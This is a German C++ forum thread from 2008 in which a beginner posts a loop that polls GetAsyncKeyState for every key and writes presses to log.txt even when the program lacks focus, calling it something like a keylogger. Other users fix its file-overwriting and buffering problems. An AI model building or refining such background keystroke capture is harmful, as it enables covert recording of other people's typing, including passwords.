BlackBoard (http://www.black-board.net/index.php)
- Design, Programmierung & Entwicklung (http://www.black-board.net/board.php?boardid=55)
-- Programmieren (http://www.black-board.net/board.php?boardid=4)
--- C++ Variablenwert als Char in Datei schreiben (http://www.black-board.net/thread.php?threadid=23521)


Geschrieben von YounG am 15.10.2008 um 21:40:

  Variablenwert als Char in Datei schreiben

Hallo,

Folgendes Problem:

Ich versuche eine Variable in ein .txt file zu schreiben, was mir bisher aber nicht gelungen ist.

Mein Code:
code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
int main()
{

SHORT KeyState;
SHORT ArrKeyState[256];
long CheckSum;
long OldCheckSum = 987654; // dummy
using std::ofstream;
using std::endl;

while (1)
{

 CheckSum = 0;
 for (int i = 0; i < 256; i++)
 {

 KeyState = GetAsyncKeyState(i);
 CheckSum += KeyState;
 ArrKeyState[i] = KeyState;

 }

 if (OldCheckSum != CheckSum)
 {
 for (int i = 0; i < 256; i++)
     {
 // -32767 = KeyDown
   if (ArrKeyState[i] == -32767)
{
      ofstream fout("log.txt");
                    fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
                   }
}
}
OldCheckSum = CheckSum;
}
}


Mit Cout funktioniert das ganze sehr gut, aber da ich leider absoluter C++ Neuling bin, bin ich total überfragt warum es so nicht geht. Das Programm soll lediglig einen eingegebenen Buchstaben von der Tastatur ablesen und in die Datei schreiben, aber auch dann wenn es nicht im Focus ist. (Sowas wie ein Keylogger)

Nochmal die entscheidene Stelle:

Zitat:
ofstream fout("log.txt");
fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;



Geschrieben von Black Star am 15.10.2008 um 23:46:

 

Abgesehen davon, dass ich nicht verstanden habe, wie dein Programm sich die Eingabe besorgt (was hier aber ja egal zu sein scheint), wirst du bei jedem oeffnen der Datei "log.txt" eine neue Datei anlegen und die alte ueberschreiben.
Ist dein Problem, dass die Datei nachher nur einen Eintrag enthaelt oder steht garnichts drin?
Wenn du anhaengen willst, musst du die Datei mit dem Flag std::ios::app oeffnen [1]
Ausserdem waere es sinnvoll die Datei fuer die Laufzeit des Programms offen zu halten, da du die Datei sonst vollkommen unnoetigerweise bei jedem Tastendruck (oder loslassen) erneut oeffnest.

[1] http://www.cplusplus.com/reference/iostream/ofstream/ofstream.html



Geschrieben von phlox81 am 16.10.2008 um 12:00:

 

Du müsstest den Stream vor der Schleife erstellen, und ihn dann in der Schleife benutzen. So erstellst du jedesmal eine neue Datei, welche die alte überschreibt, wie Black Star bereits beschrieben hat.

Gibt es einen Grund, warum du GetAsyncKeyState anstatt cin/cin.get() benutzt?

phlox



Geschrieben von YounG am 16.10.2008 um 21:24:

 

Danke. es funktioniert. Jetzt hab ich aber das Problem das ich jede Tasteneingabe in eine neue Zeile schreiben muss.

Der Code:

code:
1:
2:
fout << (char) i << endl;


funktioniert.

Dagegen geht der Code
code:
1:
2:
fout << (char) i;

nicht.


Zitat:
Gibt es einen Grund, warum du GetAsyncKeyState anstatt cin/cin.get() benutzt?


Ehrlichgesagt, Nein. Ich hatte ein Codebeispiel mit der GetAsynckeyState Funktion und hab mir gedacht ich machs genauso.

MfG Young



Geschrieben von phlox81 am 16.10.2008 um 21:29:

 

std::endl hängt eine neue Zeile in den Stream ein. ("\n" würde dies auch).



Geschrieben von YounG am 16.10.2008 um 22:17:

 

Ok vielleicht hab ich die Frage etwas unsauber formuliert, ich kann nur jeden Buchstaben in eine neue Zeile schreiben, ohne endl; geht es nicht.

MfG Young



Geschrieben von phlox81 am 16.10.2008 um 22:21:

 

code:
1:
2:
3:
4:
for(int i = 0, s = 10; i < s; i++)
   std::cout << i << endl;
for(int i = 0, s = 10; i < s; i++)
   std::cout << i; 


Denke das sollte deine Frage beantworten.



Geschrieben von Black Star am 17.10.2008 um 00:38:

 

Ich habe deine Frage auch nicht richtig verstanden, interpretiere sie aber auch anders als phlox81.

Der Unterschied zwischen << "\n" und << std::endl ist, dass std::endl auch noch ein flush() ausfuehrt, wodurch gepufferte daten auf den stream geschrieben werden.

Probier mal
code:
1:
std::cout << (char)i << std::flush;



Geschrieben von YounG am 17.10.2008 um 18:31:

 

Black Star hat die Frage beantwortet, es lag wohl am Buffer.

MfG Young


Forensoftware: Burning Board 2.3.6, entwickelt von WoltLab GmbH